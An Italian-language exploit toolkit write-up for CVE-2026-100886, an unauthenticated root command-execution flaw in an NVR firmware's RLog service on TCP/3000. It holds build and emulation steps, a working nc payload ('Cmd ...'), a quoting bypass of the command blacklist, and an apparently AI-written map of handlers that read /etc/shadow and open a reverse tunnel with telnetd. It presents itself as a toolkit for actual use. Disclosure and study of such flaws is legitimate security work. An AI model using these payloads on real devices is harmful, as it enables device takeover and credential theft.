
CVE-2026-100886 | Toolkit per l'esecuzione remota di codice non autenticata.
L'harness dimostra che la libLOG.so del firmware avvia un server RLog
su TCP/3000. L'analisi del dispatcher dei comandi e i test dinamici
dimostrano l'esecuzione di comandi OS non autenticata attraverso quel server.
Carica la libLOG.so propria del firmware sotto qemu-arm, chiama TLog_Init()
e il server reale si associa a 0.0.0.0:3000 e accetta connessioni in entrata
da qualsiasi luogo con nessuna autenticazione.
Il firmware espone un server di comandi RLog non autenticato su TCP/3000.
Il dispatcher dei comandi registra Cmd, che passa l'input controllato
dall'attaccante a TLog_CMD. TLog_CMD invoca in ultima analisi il backend
di esecuzione dei comandi del firmware.
Pertanto:
Unauthenticated TCP connection
↓
RLog command dispatcher
↓
Cmd <attacker-controlled command>
↓
TLog_CMD
↓
mysystem()
↓
/bin/sh
↓
command execution
harness.c: versione persistente: avvia il server e va in sleep (usare questa per l'uso effettivo)probe_harness.c: versione probe: tenta anche sonde di comandi dall'interno dell'emulatore (mostra il requisito di framing con type-byte)Se il download del firmware che lo script sottostante usa per creare il sysroot non esiste più. Puoi prenderlo da uno di questi (basta cercare per immagine l'nvr, il firmware è ampiamente distribuito):
Ho usato il firmware v4.6.1.4-build202604241011 per questo, altre versioni del firmware non sono ancora state testate, ma rivenditori downstream come fullward lo hanno pure.
Esegui questo nella stessa directory degli harness
# Download and extract toolchain
wget https://gitlab.arm.com/api/v4/projects/tooling%2Fgnu-toolchains-for-arm/packages/generic/gnu-toolchain/15.3.rel1/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
tar -xvf arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
TC=$(pwd)/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf
# Creating the sysroot
wget http://www.tpsee.com/upload/firmware/update-ts81xxd3x-v4.6.1.4-build202604241011.bin
binwalk -Me update-ts81xxd3x-v4.6.1.4-build202604241011.bin
mkdir -p sysroot
cp -a "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_rootfs.ts81xxd3x.extracted/squashfs-root/lib" sysroot/
cp "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libLOG.so" \
"_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libmysystem.so" sysroot/lib/
$TC -march=armv7-a -mthumb -mfloat-abi=soft -nostdlib -ffreestanding -fno-builtin \
-Wl,--dynamic-linker,/lib/ld-uClibc.so.0 -Wl,-rpath,/lib -Wl,-e,_start -Wl,--export-dynamic \
harness.c -o harness -L sysroot/lib -lc
Questo harness fornisce implementazioni stub dei simboli che libLOG.so importa da edvr
qemu-arm -L sysroot ./harness &
sleep 2
ss -tln | grep 3000
# -> LISTEN 0 5 0.0.0.0:3000 0.0.0.0:* (qemu user-mode forwards the emulated socket to the host)
Output osservato da probe_harness.c (non quello usato nello script sopra):
dlopen ok
TLog_Init() -> 0
--- probe port 3000 ---
connect port 3000 OK (x5 meaning every connection accepted)
REPLY: timeout/none (plain-text probes ignored: binary type-byte framing required)
➜ seetong-ts81xxd3x-rce printf 'Cmd cat /etc/os-release > /tmp/rlog_os.txt\r\n' | nc 127.0.0.1 3000
^C%
➜ seetong-ts81xxd3x-rce cat /tmp/rlog_os.txt
NAME="Artix Linux"
PRETTY_NAME="Artix Linux"
ID=artix
BUILD_ID=rolling
ANSI_COLOR="38;2;23;147;209"
HOME_URL="https://artixlinux.org/"
DOCUMENTATION_URL="https://wiki.artixlinux.org/"
SUPPORT_URL="https://forum.artixlinux.org/"
BUG_REPORT_URL="https://bugs.artixlinux.org/"
PRIVACY_POLICY_URL="https://terms.artixlinux.org/docs/privacy-policy/"
LOGO=artixlinux-logo
➜ seetong-ts81xxd3x-rce
Artix Linux viene mostrato perché qemu user mode condivide il filesystem dell'host dato che questa PoC non lo isola correttamente.
AI Disclosure, il testo sottostante è generato da ai
LogModuleRegCmd @ 0x8f94)| Comando | Handler | Effetto |
|---|---|---|
StartDebug, StartLog, SetLogLevel, Help, StartAutoTest | vari | controllo logging/self-test |
GetSystemStatus, GetSystemInfo, GetSystemLog, GetSystemCfg | TLog_Get* | divulgazione info/config/log |
GetSystemFile [abs names] | TLog_GetSystemFile (0x7a94) + TLog_SendFile (0x48f0) | lettura arbitraria di file (/etc/shadow, /usr/local/etc/user.db, ...) |
GetPrintfFile | TLog_GetPrintfFile | lettura file |
Cmd [System commands] | TLog_CMD (0x3680) | esecuzione di comandi shell come root |
PortMap on <ip> <port> / PortMap off | fcn.00008b76 | tunnel TUN inverso + telnetd sulla porta 23 |
; \r \n).vi, cd, top, if, killcmd} (strcmp) — banalmente aggirabile (cat, sh, quoting)."%s -b" → esegue tramite sh -c.ps -ef | grep "sh -c %s" |grep -v grep, '{print $1}' | xargs kill -9.mysystem() (libmysystem.so) → IPC verso /usr/sbin/systemd (systemd finto, esegue tramite /bin/sh come root; stringhe "[systemd cmd:]%s", "[systemd ret:]%d").Demo blacklist (2026-08-04, server emulato):
Cmd vi > /tmp/bl_vi → dropped (no file created)
Cmd cat /etc/hostname > /tmp/bl_cat → executed (file contains hostname)
Cmd v''i > /tmp/bl_bypass → BLACKLIST BYPASSED (shell sees `vi`, strcmp sees `v''i`)
PortMap on <ip> <port> (si aspetta 3 campi).portmap_client_start(ip, port) (0x88b0):
system("lsmod | grep -q '^tun\\b' || insmod /config/modules/4.9.84/tun.ko")/dev/net/tun, crea l'interfaccia tps0, ifconfig tps0 up/mnt/nand/yun_id.txt, /etc/product_type.txtsystem("touch /usr/local/etc/normal_telnet") (0x897e→0x8982)system("killall telnetd") (0x8c1e) e system("telnetd -p 23 &") (0x8c32).portmap_client_stop (0x8a48) → system("rm -f /usr/local/etc/normal_telnet"), ifconfig tps0 down.portmap_client_get_status, portmap_client_is_running, portmap_client_get_assigned_ip."usage: PortMap on <ip> <port> | PortMap off\n", "PortMap on: IP=%s, Port=%d\n", "PortMap start success! ret:%d", "PortMap stop success!"."rm %s/* -rf" (0xad10) — usata dalla pulizia della directory dei log (TLog_DeleteLogFile).L'harness (harness.c) fa dlopen di libLOG.so, stubba i suoi import edvr, chiama TLog_Init():
dlopen ok
TLog_Init() -> 0
Lato host (passthrough del socket in qemu user-mode):
LISTEN 0 5 0.0.0.0:3000 0.0.0.0:* users:(("qemu-arm",pid=...,fd=0))